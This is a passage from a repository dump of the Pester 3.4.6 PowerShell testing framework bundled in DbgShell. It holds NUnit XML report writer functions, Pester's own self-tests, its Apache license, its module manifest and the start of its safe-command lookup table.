[System.Xml.XmlWriter] $XmlWriter, [switch] $LegacyFormat) { $XmlWriter.WriteStartElement('culture-info') $XmlWriter.WriteAttributeString('current-culture', ([System.Threading.Thread]::CurrentThread.CurrentCulture).Name) $XmlWriter.WriteAttributeString('current-uiculture', ([System.Threading.Thread]::CurrentThread.CurrentUiCulture).Name) $XmlWriter.WriteEndElement() } function Write-NUnitGlobalTestSuiteAttributes($PesterState, [System.Xml.XmlWriter] $XmlWriter, [switch] $LegacyFormat) { $XmlWriter.WriteAttributeString('type', 'PowerShell') # TODO: This used to be writing $PesterState.Path, back when that was a single string (and existed.) # Better would be to produce a test suite for each resolved file, rather than for the value # of the path that was passed to Invoke-Pester. $XmlWriter.WriteAttributeString('name', 'Pester') $XmlWriter.WriteAttributeString('executed', 'True') $isSuccess = $PesterState.FailedCount -eq 0 $result = Get-ParentResult $PesterState $XmlWriter.WriteAttributeString('result', $result) $XmlWriter.WriteAttributeString('success',[string]$isSuccess) $XmlWriter.WriteAttributeString('time',(Convert-TimeSpan $PesterState.Time)) $XmlWriter.WriteAttributeString('asserts','0') } function Write-NUnitDescribeElements($PesterState, [System.Xml.XmlWriter] $XmlWriter, [switch] $LegacyFormat) { $Describes = $PesterState.TestResult | & $SafeCommands['Group-Object'] -Property Describe if ($null -ne $Describes) { foreach ($currentDescribe in $Describes) { $DescribeInfo = Get-TestSuiteInfo $currentDescribe #Write test suites $XmlWriter.WriteStartElement('test-suite') if ($LegacyFormat) { $suiteType = 'PowerShell' } else { $suiteType = 'TestFixture' } Write-NUnitTestSuiteAttributes -TestSuiteInfo $DescribeInfo -TestSuiteType $suiteType -XmlWriter $XmlWriter -LegacyFormat:$LegacyFormat $XmlWriter.WriteStartElement('results') Write-NUnitDescribeChildElements -TestResults $currentDescribe.Group -XmlWriter $XmlWriter -LegacyFormat:$LegacyFormat -DescribeName $DescribeInfo.Name $XmlWriter.WriteEndElement() $XmlWriter.WriteEndElement() } } } function Get-TestSuiteInfo ([Microsoft.PowerShell.Commands.GroupInfo]$TestSuiteGroup) { $suite = @{ resultMessage = 'Failure' success = 'False' totalTime = '0.0' name = $TestSuiteGroup.Name description = $TestSuiteGroup.Name } #calculate the time first, I am converting the time into string in the TestCases $suite.totalTime = (Get-TestTime $TestSuiteGroup.Group) $suite.success = (Get-TestSuccess $TestSuiteGroup.Group) $suite.resultMessage = Get-GroupResult $TestSuiteGroup.Group $suite } function Get-TestTime($tests) { [TimeSpan]$totalTime = 0; if ($tests) { foreach ($test in $tests) { $totalTime += $test.time } } Convert-TimeSpan -TimeSpan $totalTime } function Convert-TimeSpan { param ( [Parameter(ValueFromPipeline=$true)] $TimeSpan ) process { if ($TimeSpan) { [string][math]::round(([TimeSpan]$TimeSpan).totalseconds,4) } else { '0' } } } function Get-TestSuccess($tests) { $result = $true if ($tests) { foreach ($test in $tests) { if (-not $test.Passed) { $result = $false break } } } [String]$result } function Write-NUnitTestSuiteAttributes($TestSuiteInfo, [System.Xml.XmlWriter] $XmlWriter, [string] $TestSuiteType, [switch] $LegacyFormat) { $XmlWriter.WriteAttributeString('type', $TestSuiteType) $XmlWriter.WriteAttributeString('name', $TestSuiteInfo.name) $XmlWriter.WriteAttributeString('executed', 'True') $XmlWriter.WriteAttributeString('result', $TestSuiteInfo.resultMessage) $XmlWriter.WriteAttributeString('success', $TestSuiteInfo.success) $XmlWriter.WriteAttributeString('time',$TestSuiteInfo.totalTime) $XmlWriter.WriteAttributeString('asserts','0') if (-not $LegacyFormat) { $XmlWriter.WriteAttributeString('description', $TestSuiteInfo.Description) } } function Write-NUnitDescribeChildElements([object[]] $TestResults, [System.Xml.XmlWriter] $XmlWriter, [switch] $LegacyFormat, [string] $DescribeName) { $suites = $TestResults | & $SafeCommands['Group-Object'] -Property ParameterizedSuiteName foreach ($suite in $suites) { if ($suite.Name) { $suiteInfo = Get-TestSuiteInfo -TestSuiteGroup $suite $XmlWriter.WriteStartElement('test-suite') if (-not $LegacyFormat) { $suiteInfo.Name = "$DescribeName.$($suiteInfo.Name)" } Write-NUnitTestSuiteAttributes -TestSuiteInfo $suiteInfo -TestSuiteType 'ParameterizedTest' -XmlWriter $XmlWriter -LegacyFormat:$LegacyFormat $XmlWriter.WriteStartElement('results') } Write-NUnitTestCaseElements -TestResults $suite.Group -XmlWriter $XmlWriter -LegacyFormat:$LegacyFormat -DescribeName $DescribeName -ParameterizedSuiteName $suite.Name if ($suite.Name) { $XmlWriter.WriteEndElement() $XmlWriter.WriteEndElement() } } } function Write-NUnitTestCaseElements([object[]] $TestResults, [System.Xml.XmlWriter] $XmlWriter, [switch] $LegacyFormat, [string] $DescribeName, [string] $ParameterizedSuiteName) { foreach ($testResult in $TestResults) { $XmlWriter.WriteStartElement('test-case') Write-NUnitTestCaseAttributes -TestResult $testResult -XmlWriter $XmlWriter -LegacyFormat:$LegacyFormat -DescribeName $DescribeName -ParameterizedSuiteName $ParameterizedSuiteName $XmlWriter.WriteEndElement() } } function Write-NUnitTestCaseAttributes($TestResult, [System.Xml.XmlWriter] $XmlWriter, [switch] $LegacyFormat, [string] $DescribeName, [string] $ParameterizedSuiteName) { $testName = $TestResult.Name if (-not $LegacyFormat) { if ($testName -eq $ParameterizedSuiteName) { $paramString = '' if ($null -ne $TestResult.Parameters) { $params = @( foreach ($value in $TestResult.Parameters.Values) { if ($null -eq $value) { 'null' } elseif ($value -is [string]) { '"{0}"' -f $value } else { #do not use .ToString() it uses the current culture settings #and we need to use en-US culture, which [string] or .ToString([Globalization.CultureInfo]'en-us') uses [string]$value } } ) $paramString = $params -join ',' } $testName = "$testName($paramString)" } $testName = "$DescribeName.$testName" $XmlWriter.WriteAttributeString('description', $TestResult.Name) } $XmlWriter.WriteAttributeString('name', $testName) $XmlWriter.WriteAttributeString('time', (Convert-TimeSpan $TestResult.Time)) $XmlWriter.WriteAttributeString('asserts', '0') $XmlWriter.WriteAttributeString('success', $TestResult.Passed) switch ($TestResult.Result) { Passed { $XmlWriter.WriteAttributeString('result', 'Success') $XmlWriter.WriteAttributeString('executed', 'True') break } Skipped { $XmlWriter.WriteAttributeString('result', 'Ignored') $XmlWriter.WriteAttributeString('executed', 'False') break } Pending { $XmlWriter.WriteAttributeString('result', 'Inconclusive') $XmlWriter.WriteAttributeString('executed', 'True') break } Inconclusive { $XmlWriter.WriteAttributeString('result', 'Inconclusive') $XmlWriter.WriteAttributeString('executed', 'True') if ($TestResult.FailureMessage) { $XmlWriter.WriteStartElement('reason') $xmlWriter.WriteElementString('message', $TestResult.FailureMessage) $XmlWriter.WriteEndElement() # Close reason tag } break } Failed { $XmlWriter.WriteAttributeString('result', 'Failure') $XmlWriter.WriteAttributeString('executed', 'True') $XmlWriter.WriteStartElement('failure') $xmlWriter.WriteElementString('message', $TestResult.FailureMessage) $XmlWriter.WriteElementString('stack-trace', $TestResult.StackTrace) $XmlWriter.WriteEndElement() # Close failure tag break } } } function Get-RunTimeEnvironment() { # based on what we found during startup, use the appropriate cmdlet if ( $SafeCommands['Get-CimInstance'] -ne $null ) { $osSystemInformation = (& $SafeCommands['Get-CimInstance'] Win32_OperatingSystem) } elseif ( $SafeCommands['Get-WmiObject'] -ne $null ) { $osSystemInformation = (& $SafeCommands['Get-WmiObject'] Win32_OperatingSystem) } else { $osSystemInformation = @{ Name = "Unknown" Version = "0.0.0.0" } } @{ 'nunit-version' = '2.5.8.0' 'os-version' = $osSystemInformation.Version platform = $osSystemInformation.Name cwd = (& $SafeCommands['Get-Location']).Path #run path 'machine-name' = $env:ComputerName user = $env:Username 'user-domain' = $env:userDomain 'clr-version' = [string]$PSVersionTable.ClrVersion } } function Exit-WithCode ($FailedCount) { $host.SetShouldExit($FailedCount) } function Get-ParentResult ($InputObject) { #I am not sure about the result precedence, and can't find any good source #TODO: Confirm this is the correct order of precedence if ($inputObject.FailedCount -gt 0) { return 'Failure' } if ($InputObject.SkippedCount -gt 0) { return 'Ignored' } if ($InputObject.PendingCount -gt 0) { return 'Inconclusive' } return 'Success' } function Get-GroupResult ($InputObject) { #I am not sure about the result precedence, and can't find any good source #TODO: Confirm this is the correct order of precedence if ($InputObject | & $SafeCommands['Where-Object'] {$_.Result -eq 'Failed'}) { return 'Failure' } if ($InputObject | & $SafeCommands['Where-Object'] {$_.Result -eq 'Skipped'}) { return 'Ignored' } if ($InputObject | & $SafeCommands['Where-Object'] {$_.Result -eq 'Pending' -or $_.Result -eq 'Inconclusive'}) { return 'Inconclusive' } return 'Success' } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/TestsRunningInCleanRunspace.Tests.ps1 ================================================ function Invoke-PesterInJob ($ScriptBlock, [switch] $GenerateNUnitReport) { $PesterPath = Get-Module Pester | Select-Object -First 1 -ExpandProperty Path $job = Start-Job { param ($PesterPath, $TestDrive, $ScriptBlock, $GenerateNUnitReport) Import-Module $PesterPath -Force | Out-Null $ScriptBlock | Set-Content $TestDrive\Temp.Tests.ps1 | Out-Null $params = @{ PassThru = $true Path = $TestDrive } if ($GenerateNUnitReport) { $params['OutputFile'] = "$TestDrive\Temp.Tests.xml" $params['OutputFormat'] = 'NUnitXml' } Invoke-Pester @params } -ArgumentList $PesterPath, $TestDrive, $ScriptBlock, $GenerateNUnitReport $job | Wait-Job | Out-Null #not using Receive-Job to ignore any output to Host #TODO: how should this handle errors? #$job.Error | foreach { throw $_.Exception } $job.Output $job.ChildJobs| foreach { $childJob = $_ #$childJob.Error | foreach { throw $_.Exception } $childJob.Output } $job | Remove-Job } Describe "Tests running in clean runspace" { It "It - Skip and Pending tests" { #tests to be run in different runspace using different Pester instance $TestSuite = { Describe 'It - Skip and Pending tests' { It "Skip without ScriptBlock" -skip It "Skip with empty ScriptBlock" -skip {} It "Skip with not empty ScriptBlock" -Skip {"something"} It "Implicit pending" {} It "Pending without ScriptBlock" -Pending It "Pending with empty ScriptBlock" -Pending {} It "Pending with not empty ScriptBlock" -Pending {"something"} } } $result = Invoke-PesterInJob -ScriptBlock $TestSuite $result.SkippedCount | Should Be 3 $result.PendingCount | Should Be 4 $result.TotalCount | Should Be 7 } It "It - It without ScriptBlock fails" { #tests to be run in different runspace using different Pester instance $TestSuite = { Describe 'It without ScriptBlock fails' { It "Fails whole describe" It "is not run" { "but it would pass if it was run" } } } $result = Invoke-PesterInJob -ScriptBlock $TestSuite $result.PassedCount | Should Be 0 $result.FailedCount | Should Be 1 $result.TotalCount | Should Be 1 } It "Invoke-Pester - PassThru output" { #tests to be run in different runspace using different Pester instance $TestSuite = { Describe 'PassThru output' { it "Passes" { "pass" } it "fails" { throw } it "Skipped" -Skip {} it "Pending" -Pending {} } } $result = Invoke-PesterInJob -ScriptBlock $TestSuite $result.PassedCount | Should Be 1 $result.FailedCount | Should Be 1 $result.SkippedCount | Should Be 1 $result.PendingCount | Should Be 1 $result.TotalCount | Should Be 4 } It 'Produces valid NUnit output when syntax errors occur in test scripts' { $invalidScript = ' Describe "Something" { It "Works" { $true | Should Be $true } # Deliberately missing closing brace to trigger syntax error ' $result = Invoke-PesterInJob -ScriptBlock $invalidScript -GenerateNUnitReport $result.FailedCount | Should Be 1 $result.TotalCount | Should Be 1 'TestDrive:\Temp.Tests.xml' | Should Exist $xml = [xml](Get-Content TestDrive:\Temp.Tests.xml) $xml.'test-results'.'test-suite'.results.'test-suite'.name | Should Not BeNullOrEmpty } } Describe 'Guarantee It fail on setup or teardown fail (running in clean runspace)' { #these tests are kinda tricky. We need to ensure few things: #1) failing BeforeEach will fail the test. This is easy, just put the BeforeEach in the same try catch as the invocation # of It code. #2) failing AfterEach will fail the test. To do that we might put the AfterEach to the same try as the It code, BUT we also # want to guarantee that the AfterEach will run even if the test in It will fail. For this reason the AfterEach must be triggered in # a finally block. And there we are not protected by the catch clause. So we need another try in the the finally to catch teardown block # error. If we fail to do that the state won't be correctly cleaned up and we can get strange errors like: "You are still in It block", when # running next test. For the same reason I am putting the "ensure all tests run" tests here. otherwise you get false positives because you cannot determine # if the suite failed because of the whole suite failed or just a single test failed. It 'It fails if BeforeEach fails' { $testSuite = { Describe 'Guarantee It fail on setup or teardown fail' { BeforeEach { throw [System.InvalidOperationException] 'test exception' } It 'It fails if BeforeEach fails' { $true } } } $result = Invoke-PesterInJob -ScriptBlock $testSuite $result.FailedCount | Should Be 1 $result.TestResult[0].FailureMessage | Should Be "test exception" } It 'It fails if AfterEach fails' { $testSuite = { Describe 'Guarantee It fail on setup or teardown fail' { It 'It fails if AfterEach fails' { $true } AfterEach { throw [System.InvalidOperationException] 'test exception' } } Describe 'Make sure all the tests in the suite run' { #when the previous test fails in after each and It 'It is pending' -Pending {} } } $result = Invoke-PesterInJob -ScriptBlock $testSuite if ($result.PendingCount -ne 1) { throw "The test suite in separate runspace did not run to completion, it was likely terminated by an uncaught exception thrown in AfterEach." } $result.FailedCount | Should Be 1 $result.TestResult[0].FailureMessage | Should Be "test exception" } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/LICENSE ================================================ Copyright 2011 Scott Muc and Manoj Mahalingam Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Pester.Tests.ps1 ================================================ $here = Split-Path -Parent $MyInvocation.MyCommand.Path $manifestPath = "$here\Pester.psd1" $changeLogPath = "$here\CHANGELOG.md" # DO NOT CHANGE THIS TAG NAME; IT AFFECTS THE CI BUILD. Describe -Tags 'VersionChecks' "Pester manifest and changelog" { $script:manifest = $null It "has a valid manifest" { { $script:manifest = Test-ModuleManifest -Path $manifestPath -ErrorAction Stop -WarningAction SilentlyContinue } | Should Not Throw } It "has a valid name in the manifest" { $script:manifest.Name | Should Be Pester } It "has a valid guid in the manifest" { $script:manifest.Guid | Should Be 'a699dea5-2c73-4616-a270-1f7abb777e71' } It "has a valid version in the manifest" { $script:manifest.Version -as [Version] | Should Not BeNullOrEmpty } $script:changelogVersion = $null It "has a valid version in the changelog" { foreach ($line in (Get-Content $changeLogPath)) { if ($line -match "^\D*(?(\d+\.){1,3}\d+)") { $script:changelogVersion = $matches.Version break } } $script:changelogVersion | Should Not BeNullOrEmpty $script:changelogVersion -as [Version] | Should Not BeNullOrEmpty } It "changelog and manifest versions are the same" { $script:changelogVersion -as [Version] | Should be ( $script:manifest.Version -as [Version] ) } if (Get-Command git.exe -ErrorAction SilentlyContinue) { $skipVersionTest = -not [bool]((git remote -v 2>&1) -match "github.com/Pester/") $script:tagVersion = $null It "is tagged with a valid version" -skip:$skipVersionTest { $thisCommit = git.exe log --decorate --oneline HEAD~1..HEAD if ($thisCommit -match 'tag:\s*(\d+(?:\.\d+)*)') { $script:tagVersion = $matches[1] } $script:tagVersion | Should Not BeNullOrEmpty $script:tagVersion -as [Version] | Should Not BeNullOrEmpty } It "all versions are the same" -skip:$skipVersionTest { $script:changelogVersion -as [Version] | Should be ( $script:manifest.Version -as [Version] ) $script:manifest.Version -as [Version] | Should be ( $script:tagVersion -as [Version] ) } } } if ($PSVersionTable.PSVersion.Major -ge 3) { $error.Clear() Describe 'Clean treatment of the $error variable' { Context 'A Context' { It 'Performs a successful test' { $true | Should Be $true } } It 'Did not add anything to the $error variable' { $error.Count | Should Be 0 } } InModuleScope Pester { Describe 'SafeCommands table' { $path = $ExecutionContext.SessionState.Module.ModuleBase $filesToCheck = Get-ChildItem -Path $path -Recurse -Include *.ps1,*.psm1 -Exclude *.Tests.ps1 $callsToSafeCommands = @( foreach ($file in $files) { $tokens = $parseErrors = $null $ast = [System.Management.Automation.Language.Parser]::ParseFile($file.FullName, [ref] $tokens, [ref] $parseErrors) $filter = { $args[0] -is [System.Management.Automation.Language.CommandAst] -and $args[0].InvocationOperator -eq [System.Management.Automation.Language.TokenKind]::Ampersand -and $args[0].CommandElements[0] -is [System.Management.Automation.Language.IndexExpressionAst] -and $args[0].CommandElements[0].Target -is [System.Management.Automation.Language.VariableExpressionAst] -and $args[0].CommandElements[0].Target.VariablePath.UserPath -match '^(?:script:)?SafeCommands$' } $ast.FindAll($filter, $true) } ) $uniqueSafeCommands = $callsToSafeCommands | ForEach-Object { $_.CommandElements[0].Index.Value } | Select-Object -Unique $missingSafeCommands = $uniqueSafeCommands | Where-Object { -not $script:SafeCommands.ContainsKey($_) } It 'The SafeCommands table contains all commands that are called from the module' { $missingSafeCommands | Should Be $null } } } } Describe 'Style rules' { $pesterRoot = (Get-Module Pester).ModuleBase $files = @( Get-ChildItem $pesterRoot\* -Include *.ps1,*.psm1 Get-ChildItem (Join-Path $pesterRoot 'Functions') -Include *.ps1,*.psm1 -Recurse ) It 'Pester source files contain no trailing whitespace' { $badLines = @( foreach ($file in $files) { $lines = [System.IO.File]::ReadAllLines($file.FullName) $lineCount = $lines.Count for ($i = 0; $i -lt $lineCount; $i++) { if ($lines[$i] -match '\s+$') { 'File: {0}, Line: {1}' -f $file.FullName, ($i + 1) } } } ) if ($badLines.Count -gt 0) { throw "The following $($badLines.Count) lines contain trailing whitespace: `r`n`r`n$($badLines -join "`r`n")" } } It 'Spaces are used for indentation in all code files, not tabs' { $badLines = @( foreach ($file in $files) { $lines = [System.IO.File]::ReadAllLines($file.FullName) $lineCount = $lines.Count for ($i = 0; $i -lt $lineCount; $i++) { if ($lines[$i] -match '^[ ]*\t|^\t|^\t[ ]*') { 'File: {0}, Line: {1}' -f $file.FullName, ($i + 1) } } } ) if ($badLines.Count -gt 0) { throw "The following $($badLines.Count) lines start with a tab character: `r`n`r`n$($badLines -join "`r`n")" } } It 'Pester Source Files all end with a newline' { $badFiles = @( foreach ($file in $files) { $string = [System.IO.File]::ReadAllText($file.FullName) if ($string.Length -gt 0 -and $string[-1] -ne "`n") { $file.FullName } } ) if ($badFiles.Count -gt 0) { throw "The following files do not end with a newline: `r`n`r`n$($badFiles -join "`r`n")" } } } InModuleScope Pester { Describe 'ResolveTestScripts' { Setup -File SomeFile.ps1 Setup -File SomeFile.Tests.ps1 Setup -File SomeOtherFile.ps1 Setup -File SomeOtherFile.Tests.ps1 It 'Resolves non-wildcarded file paths regardless of whether the file ends with Tests.ps1' { $result = @(ResolveTestScripts $TestDrive\SomeOtherFile.ps1) $result.Count | Should Be 1 $result[0].Path | Should Be "$TestDrive\SomeOtherFile.ps1" } It 'Finds only *.Tests.ps1 files when the path contains wildcards' { $result = @(ResolveTestScripts $TestDrive\*.ps1) $result.Count | Should Be 2 $paths = $result | Select-Object -ExpandProperty Path ($paths -contains "$TestDrive\SomeFile.Tests.ps1") | Should Be $true ($paths -contains "$TestDrive\SomeOtherFile.Tests.ps1") | Should Be $true } It 'Finds only *.Tests.ps1 files when the path refers to a directory and does not contain wildcards' { $result = @(ResolveTestScripts $TestDrive) $result.Count | Should Be 2 $paths = $result | Select-Object -ExpandProperty Path ($paths -contains "$TestDrive\SomeFile.Tests.ps1") | Should Be $true ($paths -contains "$TestDrive\SomeOtherFile.Tests.ps1") | Should Be $true } It 'Assigns empty array and hashtable to the Arguments and Parameters properties when none are specified by the caller' { $result = @(ResolveTestScripts "$TestDrive\SomeFile.ps1") $result.Count | Should Be 1 $result[0].Path | Should Be "$TestDrive\SomeFile.ps1" ,$result[0].Arguments | Should Not Be $null ,$result[0].Parameters | Should Not Be $null $result[0].Arguments.GetType() | Should Be ([object[]]) $result[0].Arguments.Count | Should Be 0 $result[0].Parameters.GetType() | Should Be ([hashtable]) $result[0].Parameters.PSBase.Count | Should Be 0 } Context 'Passing in Dictionaries instead of Strings' { It 'Allows the use of a "P" key instead of "Path"' { $result = @(ResolveTestScripts @{ P = "$TestDrive\SomeFile.ps1" }) $result.Count | Should Be 1 $result[0].Path | Should Be "$TestDrive\SomeFile.ps1" } $testArgs = @('I am a string') It 'Allows the use of an "Arguments" key in the dictionary' { $result = @(ResolveTestScripts @{ Path = "$TestDrive\SomeFile.ps1"; Arguments = $testArgs }) $result.Count | Should Be 1 $result[0].Path | Should Be "$TestDrive\SomeFile.ps1" $result[0].Arguments.Count | Should Be 1 $result[0].Arguments[0] | Should Be 'I am a string' } It 'Allows the use of an "Args" key in the dictionary' { $result = @(ResolveTestScripts @{ Path = "$TestDrive\SomeFile.ps1"; Args = $testArgs }) $result.Count | Should Be 1 $result[0].Path | Should Be "$TestDrive\SomeFile.ps1" $result[0].Arguments.Count | Should Be 1 $result[0].Arguments[0] | Should Be 'I am a string' } It 'Allows the use of an "A" key in the dictionary' { $result = @(ResolveTestScripts @{ Path = "$TestDrive\SomeFile.ps1"; A = $testArgs }) $result.Count | Should Be 1 $result[0].Path | Should Be "$TestDrive\SomeFile.ps1" $result[0].Arguments.Count | Should Be 1 $result[0].Arguments[0] | Should Be 'I am a string' } $testParams = @{ MyKey = 'MyValue' } It 'Allows the use of a "Parameters" key in the dictionary' { $result = @(ResolveTestScripts @{ Path = "$TestDrive\SomeFile.ps1"; Parameters = $testParams }) $result.Count | Should Be 1 $result[0].Path | Should Be "$TestDrive\SomeFile.ps1" $result[0].Parameters.PSBase.Count | Should Be 1 $result[0].Parameters['MyKey'] | Should Be 'MyValue' } It 'Allows the use of a "Params" key in the dictionary' { $result = @(ResolveTestScripts @{ Path = "$TestDrive\SomeFile.ps1"; Params = $testParams }) $result.Count | Should Be 1 $result[0].Path | Should Be "$TestDrive\SomeFile.ps1" $result[0].Parameters.PSBase.Count | Should Be 1 $result[0].Parameters['MyKey'] | Should Be 'MyValue' } It 'Throws an error if no Path is specified' { { ResolveTestScripts @{} } | Should Throw } It 'Throws an error if a Parameters key is used, but does not contain an IDictionary object' { { ResolveTestScripts @{ P='P'; Params = 'A string' } } | Should Throw } } } describe 'Get-OperatingSystem' { it 'returns Windows' { Get-OperatingSystem | should be 'Windows' } } describe 'Get-TempDirectory' { it 'returns the correct temp directory for Windows' { mock 'Get-OperatingSystem' { 'Windows' } Get-TempDirectory | should be $env:TEMP } it 'returns the correct temp directory for MacOS' { mock 'Get-OperatingSystem' { 'MacOS' } Get-TempDirectory | should be '/tmp' } it 'returns the correct temp directory for Linux' { mock 'Get-OperatingSystem' { 'Linux' } Get-TempDirectory | should be '/tmp' } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Pester.psd1 ================================================ @{ # Script module or binary module file associated with this manifest. RootModule = 'Pester.psm1' # Version number of this module. ModuleVersion = '3.4.6' # ID used to uniquely identify this module GUID = 'a699dea5-2c73-4616-a270-1f7abb777e71' # Author of this module Author = 'Pester Team' # Company or vendor of this module CompanyName = 'Pester' # Copyright statement for this module Copyright = 'Copyright (c) 2016 by Pester Team, licensed under Apache 2.0 License.' # Description of the functionality provided by this module Description = 'Pester provides a framework for running BDD style Tests to execute and validate PowerShell commands inside of PowerShell and offers a powerful set of Mocking Functions that allow tests to mimic and mock the functionality of any command inside of a piece of PowerShell code being tested. Pester tests can execute any command or script that is accessible to a pester test file. This can include functions, Cmdlets, Modules and scripts. Pester can be run in ad hoc style in a console or it can be integrated into the Build scripts of a Continuous Integration system.' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' # Functions to export from this module FunctionsToExport = @( 'Describe', 'Context', 'It', 'Should', 'Mock', 'Assert-MockCalled', 'Assert-VerifiableMocks', 'New-Fixture', 'Get-TestDriveItem', 'Invoke-Pester', 'Setup', 'In', 'InModuleScope', 'Invoke-Mock', 'BeforeEach', 'AfterEach', 'BeforeAll', 'AfterAll' 'Get-MockDynamicParameters', 'Set-DynamicParameterVariables', 'Set-TestInconclusive', 'SafeGetCommand', 'New-PesterOption', 'New-MockObject' ) # # Cmdlets to export from this module # CmdletsToExport = '*' # Variables to export from this module VariablesToExport = @( 'Path', 'TagFilter', 'ExcludeTagFilter', 'TestNameFilter', 'TestResult', 'CurrentContext', 'CurrentDescribe', 'CurrentTest', 'SessionState', 'CommandCoverage', 'BeforeEach', 'AfterEach', 'Strict' ) # # Aliases to export from this module # AliasesToExport = '*' # List of all modules packaged with this module # ModuleList = @() # List of all files packaged with this module # FileList = @() PrivateData = @{ # PSData is module packaging and gallery metadata embedded in PrivateData # It's for rebuilding PowerShellGet (and PoshCode) NuGet-style packages # We had to do this because it's the only place we're allowed to extend the manifest # https://connect.microsoft.com/PowerShell/feedback/details/421837 PSData = @{ # The primary categorization of this module (from the TechNet Gallery tech tree). Category = "Scripting Techniques" # Keyword tags to help users find this module via navigations and search. Tags = @('powershell','unit_testing','bdd','tdd','mocking') # The web address of an icon which can be used in galleries to represent this module IconUri = "http://pesterbdd.com/images/Pester.png" # The web address of this module's project or support homepage. ProjectUri = "https://github.com/Pester/Pester" # The web address of this module's license. Points to a page that's embeddable and linkable. LicenseUri = "http://www.apache.org/licenses/LICENSE-2.0.html" # Release notes for this particular version of the module # ReleaseNotes = False # If true, the LicenseUrl points to an end-user license (not just a source license) which requires the user agreement before use. # RequireLicenseAcceptance = "" # Indicates this is a pre-release/testing version of the module. IsPrerelease = 'False' } } # HelpInfo URI of this module # HelpInfoURI = '' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Pester.psm1 ================================================ # Pester # Version: $version$ # Changeset: $sha$ if ($PSVersionTable.PSVersion.Major -ge 3) { $script:IgnoreErrorPreference = 'Ignore' $outNullModule = 'Microsoft.PowerShell.Core' } else { $script:IgnoreErrorPreference = 'SilentlyContinue' $outNullModule = 'Microsoft.PowerShell.Utility' } # Tried using $ExecutionState.InvokeCommand.GetCmdlet() here, but it does not trigger module auto-loading the way # Get-Command does. Since this is at import time, before any mocks have been defined, that's probably acceptable. # If someone monkeys with Get-Command before they import Pester, they may break something. # The -All parameter is required when calling Get-Command to ensure that PowerShell can find the command it is # looking for. Otherwise, if you have modules loaded that define proxy cmdlets or that have cmdlets with the same # name as the safe cmdlets, Get-Command will return null. $safeCommandLookupParameters = @{ CommandType = [System.Management.Automation.CommandTypes]::Cmdlet ErrorAction = [System.Management.Automation.ActionPreference]::Stop } if ($PSVersionTable.PSVersion.Major -gt 2) { $safeCommandLookupParameters['All'] = $true } $script:SafeCommands = @{ 'Add-Member' = Get-Command -Name Add-Member -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Add-Type' = Get-Command -Name Add-Type -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Compare-Object' = Get-Command -Name Compare-Object -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Export-ModuleMember' = Get-Command -Name Export-ModuleMember -Module Microsoft.PowerShell.Core @safeCommandLookupParameters 'ForEach-Object' = Get-Command -Name ForEach-Object -Module Microsoft.PowerShell.Core @safeCommandLookupParameters 'Format-Table' = Get-Command -Name Format-Table -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Get-ChildItem' = Get-Command -Name Get-ChildItem -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Get-Command' = Get-Command -Name Get-Command -Module Microsoft.PowerShell.Core @safeCommandLookupParameters 'Get-Content' = Get-Command -Name Get-Content -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Get-Date' = Get-Command -Name Get-Date -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Get-Item' = Get-Command -Name Get-Item -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Get-Location' = Get-Command -Name Get-Location -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Get-Member' = Get-Command -Name Get-Member -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Get-Module' = Get-Command -Name Get-Module -Module Microsoft.PowerShell.Core @safeCommandLookupParameters 'Get-PSDrive' = Get-Command -Name Get-PSDrive -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Get-Variable' = Get-Command -Name Get-Variable -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Group-Object' = Get-Command -Name Group-Object -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Join-Path' = Get-Command -Name Join-Path -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Measure-Object' = Get-Command -Name Measure-Object -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'New-Item' = Get-Command -Name New-Item -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'New-Module' = Get-Command -Name New-Module -Module Microsoft.PowerShell.Core @safeCommandLookupParameters 'New-Object' = Get-Command -Name New-Object -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'New-PSDrive' = Get-Command -Name New-PSDrive -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'New-Variable' = Get-Command -Name New-Variable -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Out-Null' = Get-Command -Name Out-Null -Module $outNullModule @safeCommandLookupParameters 'Out-String' = Get-Command -Name Out-String -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Pop-Location' = Get-Command -Name Pop-Location -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Push-Location' = Get-Command -Name Push-Location -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Remove-Item' = Get-Command -Name Remove-Item -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Remove-PSBreakpoint' = Get-Command -Name Remove-PSBreakpoint -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Remove-PSDrive' = Get-Command -Name Remove-PSDrive -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Remove-Variable' = Get-Command -Name Remove-Variable -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Resolve-Path' = Get-Command -Name Resolve-Path -Module Microsoft.PowerShell.Management 